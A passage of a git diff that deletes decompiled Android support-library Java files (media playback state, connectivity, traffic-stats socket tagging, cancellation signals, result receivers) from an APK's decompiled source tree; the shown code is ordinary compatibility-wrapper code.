this.mCustomActions, this.mActiveItemId, this.mExtras); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/PlaybackStateCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/PlaybackStateCompatApi21.java deleted file mode 100644 index 96c83c6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/PlaybackStateCompatApi21.java +++ /dev/null @@ -1,89 +0,0 @@ -package android.support.v4.media.session; - -import android.media.session.PlaybackState; -import android.os.Bundle; -import java.util.Iterator; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PlaybackStateCompatApi21 { - PlaybackStateCompatApi21() { - } - - public static int getState(Object obj) { - return ((PlaybackState) obj).getState(); - } - - public static long getPosition(Object obj) { - return ((PlaybackState) obj).getPosition(); - } - - public static long getBufferedPosition(Object obj) { - return ((PlaybackState) obj).getBufferedPosition(); - } - - public static float getPlaybackSpeed(Object obj) { - return ((PlaybackState) obj).getPlaybackSpeed(); - } - - public static long getActions(Object obj) { - return ((PlaybackState) obj).getActions(); - } - - public static CharSequence getErrorMessage(Object obj) { - return ((PlaybackState) obj).getErrorMessage(); - } - - public static long getLastPositionUpdateTime(Object obj) { - return ((PlaybackState) obj).getLastPositionUpdateTime(); - } - - public static List getCustomActions(Object obj) { - return ((PlaybackState) obj).getCustomActions(); - } - - public static long getActiveQueueItemId(Object obj) { - return ((PlaybackState) obj).getActiveQueueItemId(); - } - - public static Object newInstance(int i, long j, long j2, float f, long j3, CharSequence charSequence, long j4, List list, long j5) { - PlaybackState.Builder builder = new PlaybackState.Builder(); - builder.setState(i, j, f, j4); - builder.setBufferedPosition(j2); - builder.setActions(j3); - builder.setErrorMessage(charSequence); - Iterator it = list.iterator(); - while (it.hasNext()) { - builder.addCustomAction((PlaybackState.CustomAction) it.next()); - } - builder.setActiveQueueItemId(j5); - return builder.build(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static final class CustomAction { - CustomAction() { - } - - public static String getAction(Object obj) { - return ((PlaybackState.CustomAction) obj).getAction(); - } - - public static CharSequence getName(Object obj) { - return ((PlaybackState.CustomAction) obj).getName(); - } - - public static int getIcon(Object obj) { - return ((PlaybackState.CustomAction) obj).getIcon(); - } - - public static Bundle getExtras(Object obj) { - return ((PlaybackState.CustomAction) obj).getExtras(); - } - - public static Object newInstance(String str, CharSequence charSequence, int i, Bundle bundle) { - PlaybackState.CustomAction.Builder builder = new PlaybackState.CustomAction.Builder(str, charSequence, i); - builder.setExtras(bundle); - return builder.build(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/PlaybackStateCompatApi22.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/PlaybackStateCompatApi22.java deleted file mode 100644 index d2ef4e5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/PlaybackStateCompatApi22.java +++ /dev/null @@ -1,30 +0,0 @@ -package android.support.v4.media.session; - -import android.media.session.PlaybackState; -import android.os.Bundle; -import java.util.Iterator; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PlaybackStateCompatApi22 { - PlaybackStateCompatApi22() { - } - - public static Bundle getExtras(Object obj) { - return ((PlaybackState) obj).getExtras(); - } - - public static Object newInstance(int i, long j, long j2, float f, long j3, CharSequence charSequence, long j4, List list, long j5, Bundle bundle) { - PlaybackState.Builder builder = new PlaybackState.Builder(); - builder.setState(i, j, f, j4); - builder.setBufferedPosition(j2); - builder.setActions(j3); - builder.setErrorMessage(charSequence); - Iterator it = list.iterator(); - while (it.hasNext()) { - builder.addCustomAction((PlaybackState.CustomAction) it.next()); - } - builder.setActiveQueueItemId(j5); - builder.setExtras(bundle); - return builder.build(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/net/ConnectivityManagerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/net/ConnectivityManagerCompat.java deleted file mode 100644 index 936f411..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/net/ConnectivityManagerCompat.java +++ /dev/null @@ -1,63 +0,0 @@ -package android.support.v4.net; - -import android.content.Intent; -import android.net.ConnectivityManager; -import android.net.NetworkInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ConnectivityManagerCompat { - private static final ConnectivityManagerCompatImpl IMPL = new JellyBeanConnectivityManagerCompatImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ConnectivityManagerCompatImpl { - boolean isActiveNetworkMetered(ConnectivityManager connectivityManager); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseConnectivityManagerCompatImpl implements ConnectivityManagerCompatImpl { - BaseConnectivityManagerCompatImpl() { - } - - @Override // android.support.v4.net.ConnectivityManagerCompat.ConnectivityManagerCompatImpl - public boolean isActiveNetworkMetered(ConnectivityManager connectivityManager) { - NetworkInfo activeNetworkInfo = connectivityManager.getActiveNetworkInfo(); - return activeNetworkInfo == null || activeNetworkInfo.getType() != 1; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class HoneycombMR2ConnectivityManagerCompatImpl implements ConnectivityManagerCompatImpl { - HoneycombMR2ConnectivityManagerCompatImpl() { - } - - @Override // android.support.v4.net.ConnectivityManagerCompat.ConnectivityManagerCompatImpl - public boolean isActiveNetworkMetered(ConnectivityManager connectivityManager) { - return ConnectivityManagerCompatHoneycombMR2.isActiveNetworkMetered(connectivityManager); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JellyBeanConnectivityManagerCompatImpl implements ConnectivityManagerCompatImpl { - JellyBeanConnectivityManagerCompatImpl() { - } - - @Override // android.support.v4.net.ConnectivityManagerCompat.ConnectivityManagerCompatImpl - public boolean isActiveNetworkMetered(ConnectivityManager connectivityManager) { - return ConnectivityManagerCompatJellyBean.isActiveNetworkMetered(connectivityManager); - } - } - - public static boolean isActiveNetworkMetered(ConnectivityManager connectivityManager) { - return IMPL.isActiveNetworkMetered(connectivityManager); - } - - public static NetworkInfo getNetworkInfoFromBroadcast(ConnectivityManager connectivityManager, Intent intent) { - NetworkInfo networkInfo = (NetworkInfo) intent.getParcelableExtra("networkInfo"); - if (networkInfo != null) { - return connectivityManager.getNetworkInfo(networkInfo.getType()); - } - return null; - } - - private ConnectivityManagerCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/net/ConnectivityManagerCompatHoneycombMR2.java b/apk_3230/decompiled_source/sources/android/support/v4/net/ConnectivityManagerCompatHoneycombMR2.java deleted file mode 100644 index fd5930c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/net/ConnectivityManagerCompatHoneycombMR2.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.v4.net; - -import android.net.ConnectivityManager; -import android.net.NetworkInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ConnectivityManagerCompatHoneycombMR2 { - ConnectivityManagerCompatHoneycombMR2() { - } - - public static boolean isActiveNetworkMetered(ConnectivityManager connectivityManager) { - NetworkInfo activeNetworkInfo = connectivityManager.getActiveNetworkInfo(); - if (activeNetworkInfo == null) { - return true; - } - int type = activeNetworkInfo.getType(); - return (type == 1 || type == 7 || type == 9) ? false : true; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/net/ConnectivityManagerCompatJellyBean.java b/apk_3230/decompiled_source/sources/android/support/v4/net/ConnectivityManagerCompatJellyBean.java deleted file mode 100644 index cd76d10..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/net/ConnectivityManagerCompatJellyBean.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.net; - -import android.net.ConnectivityManager; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ConnectivityManagerCompatJellyBean { - ConnectivityManagerCompatJellyBean() { - } - - public static boolean isActiveNetworkMetered(ConnectivityManager connectivityManager) { - return connectivityManager.isActiveNetworkMetered(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/net/DatagramSocketWrapper.java b/apk_3230/decompiled_source/sources/android/support/v4/net/DatagramSocketWrapper.java deleted file mode 100644 index 7b68c13..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/net/DatagramSocketWrapper.java +++ /dev/null @@ -1,96 +0,0 @@ -package android.support.v4.net; - -import java.io.FileDescriptor; -import java.io.IOException; -import java.io.InputStream; -import java.io.OutputStream; -import java.net.DatagramSocket; -import java.net.InetAddress; -import java.net.Socket; -import java.net.SocketAddress; -import java.net.SocketException; -import java.net.SocketImpl; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DatagramSocketWrapper extends Socket { - public DatagramSocketWrapper(DatagramSocket datagramSocket, FileDescriptor fileDescriptor) throws SocketException { - super(new DatagramSocketImplWrapper(datagramSocket, fileDescriptor)); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class DatagramSocketImplWrapper extends SocketImpl { - public DatagramSocketImplWrapper(DatagramSocket datagramSocket, FileDescriptor fileDescriptor) { - this.localport = datagramSocket.getLocalPort(); - this.fd = fileDescriptor; - } - - @Override // java.net.SocketImpl - protected void accept(SocketImpl socketImpl) throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected int available() throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected void bind(InetAddress inetAddress, int i) throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected void close() throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected void connect(String str, int i) throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected void connect(InetAddress inetAddress, int i) throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected void create(boolean z) throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected InputStream getInputStream() throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected OutputStream getOutputStream() throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected void listen(int i) throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected void connect(SocketAddress socketAddress, int i) throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketImpl - protected void sendUrgentData(int i) throws IOException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketOptions - public Object getOption(int i) throws SocketException { - throw new UnsupportedOperationException(); - } - - @Override // java.net.SocketOptions - public void setOption(int i, Object obj) throws SocketException { - throw new UnsupportedOperationException(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/net/TrafficStatsCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/net/TrafficStatsCompat.java deleted file mode 100644 index a16da99..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/net/TrafficStatsCompat.java +++ /dev/null @@ -1,208 +0,0 @@ -package android.support.v4.net; - -import android.os.Build; -import java.net.DatagramSocket; -import java.net.Socket; -import java.net.SocketException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class TrafficStatsCompat { - private static final TrafficStatsCompatImpl IMPL; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface TrafficStatsCompatImpl { - void clearThreadStatsTag(); - - int getThreadStatsTag(); - - void incrementOperationCount(int i); - - void incrementOperationCount(int i, int i2); - - void setThreadStatsTag(int i); - - void tagDatagramSocket(DatagramSocket datagramSocket) throws SocketException; - - void tagSocket(Socket socket) throws SocketException; - - void untagDatagramSocket(DatagramSocket datagramSocket) throws SocketException; - - void untagSocket(Socket socket) throws SocketException; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseTrafficStatsCompatImpl implements TrafficStatsCompatImpl { - private ThreadLocal mThreadSocketTags = new ThreadLocal() { // from class: android.support.v4.net.TrafficStatsCompat.BaseTrafficStatsCompatImpl.1 - /* JADX INFO: Access modifiers changed from: protected */ - /* JADX WARN: Can't rename method to resolve collision */ - @Override // java.lang.ThreadLocal - public SocketTags initialValue() { - return new SocketTags(); - } - }; - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void incrementOperationCount(int i) { - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void incrementOperationCount(int i, int i2) { - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void tagDatagramSocket(DatagramSocket datagramSocket) { - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void tagSocket(Socket socket) { - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void untagDatagramSocket(DatagramSocket datagramSocket) { - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void untagSocket(Socket socket) { - } - - BaseTrafficStatsCompatImpl() { - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SocketTags { - public int statsTag = -1; - - SocketTags() { - } - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void clearThreadStatsTag() { - this.mThreadSocketTags.get().statsTag = -1; - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public int getThreadStatsTag() { - return this.mThreadSocketTags.get().statsTag; - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void setThreadStatsTag(int i) { - this.mThreadSocketTags.get().statsTag = i; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class IcsTrafficStatsCompatImpl implements TrafficStatsCompatImpl { - IcsTrafficStatsCompatImpl() { - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void clearThreadStatsTag() { - TrafficStatsCompatIcs.clearThreadStatsTag(); - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public int getThreadStatsTag() { - return TrafficStatsCompatIcs.getThreadStatsTag(); - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void incrementOperationCount(int i) { - TrafficStatsCompatIcs.incrementOperationCount(i); - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void incrementOperationCount(int i, int i2) { - TrafficStatsCompatIcs.incrementOperationCount(i, i2); - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void setThreadStatsTag(int i) { - TrafficStatsCompatIcs.setThreadStatsTag(i); - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void tagSocket(Socket socket) throws SocketException { - TrafficStatsCompatIcs.tagSocket(socket); - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void untagSocket(Socket socket) throws SocketException { - TrafficStatsCompatIcs.untagSocket(socket); - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void tagDatagramSocket(DatagramSocket datagramSocket) throws SocketException { - TrafficStatsCompatIcs.tagDatagramSocket(datagramSocket); - } - - @Override // android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void untagDatagramSocket(DatagramSocket datagramSocket) throws SocketException { - TrafficStatsCompatIcs.untagDatagramSocket(datagramSocket); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class Api24TrafficStatsCompatImpl extends IcsTrafficStatsCompatImpl { - Api24TrafficStatsCompatImpl() { - } - - @Override // android.support.v4.net.TrafficStatsCompat.IcsTrafficStatsCompatImpl, android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void tagDatagramSocket(DatagramSocket datagramSocket) throws SocketException { - TrafficStatsCompatApi24.tagDatagramSocket(datagramSocket); - } - - @Override // android.support.v4.net.TrafficStatsCompat.IcsTrafficStatsCompatImpl, android.support.v4.net.TrafficStatsCompat.TrafficStatsCompatImpl - public void untagDatagramSocket(DatagramSocket datagramSocket) throws SocketException { - TrafficStatsCompatApi24.untagDatagramSocket(datagramSocket); - } - } - - static { - if ("N".equals(Build.VERSION.CODENAME)) { - IMPL = new Api24TrafficStatsCompatImpl(); - } else { - IMPL = new IcsTrafficStatsCompatImpl(); - } - } - - public static void clearThreadStatsTag() { - IMPL.clearThreadStatsTag(); - } - - public static int getThreadStatsTag() { - return IMPL.getThreadStatsTag(); - } - - public static void incrementOperationCount(int i) { - IMPL.incrementOperationCount(i); - } - - public static void incrementOperationCount(int i, int i2) { - IMPL.incrementOperationCount(i, i2); - } - - public static void setThreadStatsTag(int i) { - IMPL.setThreadStatsTag(i); - } - - public static void tagSocket(Socket socket) throws SocketException { - IMPL.tagSocket(socket); - } - - public static void untagSocket(Socket socket) throws SocketException { - IMPL.untagSocket(socket); - } - - public static void tagDatagramSocket(DatagramSocket datagramSocket) throws SocketException { - IMPL.tagDatagramSocket(datagramSocket); - } - - public static void untagDatagramSocket(DatagramSocket datagramSocket) throws SocketException { - IMPL.untagDatagramSocket(datagramSocket); - } - - private TrafficStatsCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/net/TrafficStatsCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/net/TrafficStatsCompatApi24.java deleted file mode 100644 index c63526c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/net/TrafficStatsCompatApi24.java +++ /dev/null @@ -1,15 +0,0 @@ -package android.support.v4.net; - -import android.net.TrafficStats; -import java.net.DatagramSocket; -import java.net.SocketException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class TrafficStatsCompatApi24 { - public static void tagDatagramSocket(DatagramSocket datagramSocket) throws SocketException { - TrafficStats.tagDatagramSocket(datagramSocket); - } - - public static void untagDatagramSocket(DatagramSocket datagramSocket) throws SocketException { - TrafficStats.untagDatagramSocket(datagramSocket); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/net/TrafficStatsCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/net/TrafficStatsCompatIcs.java deleted file mode 100644 index e7c6147..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/net/TrafficStatsCompatIcs.java +++ /dev/null @@ -1,52 +0,0 @@ -package android.support.v4.net; - -import android.net.TrafficStats; -import android.os.ParcelFileDescriptor; -import java.net.DatagramSocket; -import java.net.Socket; -import java.net.SocketException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TrafficStatsCompatIcs { - TrafficStatsCompatIcs() { - } - - public static void clearThreadStatsTag() { - TrafficStats.clearThreadStatsTag(); - } - - public static int getThreadStatsTag() { - return TrafficStats.getThreadStatsTag(); - } - - public static void incrementOperationCount(int i) { - TrafficStats.incrementOperationCount(i); - } - - public static void incrementOperationCount(int i, int i2) { - TrafficStats.incrementOperationCount(i, i2); - } - - public static void setThreadStatsTag(int i) { - TrafficStats.setThreadStatsTag(i); - } - - public static void tagSocket(Socket socket) throws SocketException { - TrafficStats.tagSocket(socket); - } - - public static void untagSocket(Socket socket) throws SocketException { - TrafficStats.untagSocket(socket); - } - - public static void tagDatagramSocket(DatagramSocket datagramSocket) throws SocketException { - ParcelFileDescriptor fromDatagramSocket = ParcelFileDescriptor.fromDatagramSocket(datagramSocket); - TrafficStats.tagSocket(new DatagramSocketWrapper(datagramSocket, fromDatagramSocket.getFileDescriptor())); - fromDatagramSocket.detachFd(); - } - - public static void untagDatagramSocket(DatagramSocket datagramSocket) throws SocketException { - ParcelFileDescriptor fromDatagramSocket = ParcelFileDescriptor.fromDatagramSocket(datagramSocket); - TrafficStats.untagSocket(new DatagramSocketWrapper(datagramSocket, fromDatagramSocket.getFileDescriptor())); - fromDatagramSocket.detachFd(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/AsyncTaskCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/os/AsyncTaskCompat.java deleted file mode 100644 index 8c512fb..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/AsyncTaskCompat.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.os; - -import android.os.AsyncTask; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class AsyncTaskCompat { - public static AsyncTask executeParallel(AsyncTask asyncTask, Params... paramsArr) { - if (asyncTask == null) { - throw new IllegalArgumentException("task can not be null"); - } - AsyncTaskCompatHoneycomb.executeParallel(asyncTask, paramsArr); - return asyncTask; - } - - private AsyncTaskCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/AsyncTaskCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/os/AsyncTaskCompatHoneycomb.java deleted file mode 100644 index 50893b2..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/AsyncTaskCompatHoneycomb.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.os; - -import android.os.AsyncTask; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AsyncTaskCompatHoneycomb { - AsyncTaskCompatHoneycomb() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void executeParallel(AsyncTask asyncTask, Params... paramsArr) { - asyncTask.executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, paramsArr); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/BuildCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/os/BuildCompat.java deleted file mode 100644 index 13096a7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/BuildCompat.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.os; - -import android.os.Build; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class BuildCompat { - public static boolean isAtLeastN() { - return true; - } - - private BuildCompat() { - } - - public static boolean isAtLeastNMR1() { - return Build.VERSION.SDK_INT >= 25; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/CancellationSignal.java b/apk_3230/decompiled_source/sources/android/support/v4/os/CancellationSignal.java deleted file mode 100644 index d7b63cf..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/CancellationSignal.java +++ /dev/null @@ -1,94 +0,0 @@ -package android.support.v4.os; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class CancellationSignal { - private boolean mCancelInProgress; - private Object mCancellationSignalObj; - private boolean mIsCanceled; - private OnCancelListener mOnCancelListener; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnCancelListener { - void onCancel(); - } - - public boolean isCanceled() { - boolean z; - synchronized (this) { - z = this.mIsCanceled; - } - return z; - } - - public void throwIfCanceled() { - if (isCanceled()) { - throw new OperationCanceledException(); - } - } - - public void cancel() { - synchronized (this) { - if (this.mIsCanceled) { - return; - } - this.mIsCanceled = true; - this.mCancelInProgress = true; - OnCancelListener onCancelListener = this.mOnCancelListener; - Object obj = this.mCancellationSignalObj; - if (onCancelListener != null) { - try { - onCancelListener.onCancel(); - } catch (Throwable th) { - synchronized (this) { - this.mCancelInProgress = false; - notifyAll(); - throw th; - } - } - } - if (obj != null) { - CancellationSignalCompatJellybean.cancel(obj); - } - synchronized (this) { - this.mCancelInProgress = false; - notifyAll(); - } - } - } - - public void setOnCancelListener(OnCancelListener onCancelListener) { - synchronized (this) { - waitForCancelFinishedLocked(); - if (this.mOnCancelListener == onCancelListener) { - return; - } - this.mOnCancelListener = onCancelListener; - if (this.mIsCanceled && onCancelListener != null) { - onCancelListener.onCancel(); - } - } - } - - public Object getCancellationSignalObject() { - Object obj; - synchronized (this) { - if (this.mCancellationSignalObj == null) { - Object create = CancellationSignalCompatJellybean.create(); - this.mCancellationSignalObj = create; - if (this.mIsCanceled) { - CancellationSignalCompatJellybean.cancel(create); - } - } - obj = this.mCancellationSignalObj; - } - return obj; - } - - private void waitForCancelFinishedLocked() { - while (this.mCancelInProgress) { - try { - wait(); - } catch (InterruptedException unused) { - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/CancellationSignalCompatJellybean.java b/apk_3230/decompiled_source/sources/android/support/v4/os/CancellationSignalCompatJellybean.java deleted file mode 100644 index 2e7939e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/CancellationSignalCompatJellybean.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.os; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class CancellationSignalCompatJellybean { - CancellationSignalCompatJellybean() { - } - - public static Object create() { - return new android.os.CancellationSignal(); - } - - public static void cancel(Object obj) { - ((android.os.CancellationSignal) obj).cancel(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/EnvironmentCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/os/EnvironmentCompat.java deleted file mode 100644 index eedf8a8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/EnvironmentCompat.java +++ /dev/null @@ -1,15 +0,0 @@ -package android.support.v4.os; - -import java.io.File; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class EnvironmentCompat { - public static final String MEDIA_UNKNOWN = "unknown"; - private static final String TAG = "EnvironmentCompat"; - - public static String getStorageState(File file) { - return EnvironmentCompatKitKat.getStorageState(file); - } - - private EnvironmentCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/EnvironmentCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/os/EnvironmentCompatKitKat.java deleted file mode 100644 index f14b202..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/EnvironmentCompatKitKat.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.os; - -import android.os.Environment; -import java.io.File; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class EnvironmentCompatKitKat { - EnvironmentCompatKitKat() { - } - - public static String getStorageState(File file) { - return Environment.getStorageState(file); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/IResultReceiver.java b/apk_3230/decompiled_source/sources/android/support/v4/os/IResultReceiver.java deleted file mode 100644 index cd4b139..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/IResultReceiver.java +++ /dev/null @@ -1,88 +0,0 @@ -package android.support.v4.os; - -import android.os.Binder; -import android.os.Bundle; -import android.os.IBinder; -import android.os.IInterface; -import android.os.Parcel; -import android.os.RemoteException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface IResultReceiver extends IInterface { - void send(int i, Bundle bundle) throws RemoteException; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class Stub extends Binder implements IResultReceiver { - private static final String DESCRIPTOR = "android.support.v4.os.IResultReceiver"; - static final int TRANSACTION_send = 1; - - @Override // android.os.IInterface - public IBinder asBinder() { - return this; - } - - public Stub() { - attachInterface(this, DESCRIPTOR); - } - - public static IResultReceiver asInterface(IBinder iBinder) { - if (iBinder == null) { - return null; - } - IInterface queryLocalInterface = iBinder.queryLocalInterface(DESCRIPTOR); - if (queryLocalInterface != null && (queryLocalInterface instanceof IResultReceiver)) { - return (IResultReceiver) queryLocalInterface; - } - return new Proxy(iBinder); - } - - @Override // android.os.Binder - public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException { - if (i == 1) { - parcel.enforceInterface(DESCRIPTOR); - send(parcel.readInt(), parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null); - return true; - } else if (i == 1598968902) { - parcel2.writeString(DESCRIPTOR); - return true; - } else { - return super.onTransact(i, parcel, parcel2, i2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class Proxy implements IResultReceiver { - private IBinder mRemote; - - Proxy(IBinder iBinder) { - this.mRemote = iBinder; - } - - @Override // android.os.IInterface - public IBinder asBinder() { - return this.mRemote; - } - - public String getInterfaceDescriptor() { - return Stub.DESCRIPTOR; - } - - @Override // android.support.v4.os.IResultReceiver - public void send(int i, Bundle bundle) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeInt(i); - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(1, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/OperationCanceledException.java b/apk_3230/decompiled_source/sources/android/support/v4/os/OperationCanceledException.java deleted file mode 100644 index e9d85c8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/OperationCanceledException.java +++ /dev/null @@ -1,11 +0,0 @@ -package android.support.v4.os; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class OperationCanceledException extends RuntimeException { - public OperationCanceledException() { - this(null); - } - - public OperationCanceledException(String str) { - super(str == null ? "The operation has been canceled." : str); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompat.java deleted file mode 100644 index 1d18ca4..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/os/ParcelableCompat.java +++ /dev/null @@ -1,32 +0,0 @@ -package android.support.v4.os; - -import android.os.Parcel; -import android.os.Parcelable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ParcelableCompat { - public static Parcelable.Creator newCreator(ParcelableCompatCreatorCallbacks parcelableCompatCreatorCallbacks) { - return ParcelableCompatCreatorHoneycombMR2Stub.instantiate(parcelableCompatCreatorCallbacks); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class CompatCreator implements Parcelable.Creator { - final ParcelableCompatCreatorCallbacks mCallbacks; - - public CompatCreator(ParcelableCompatCreatorCallbacks parcelableCompatCreatorCallbacks) { - this.mCallbacks = parcelableCompatCreatorCallbacks; - } - - @Override // 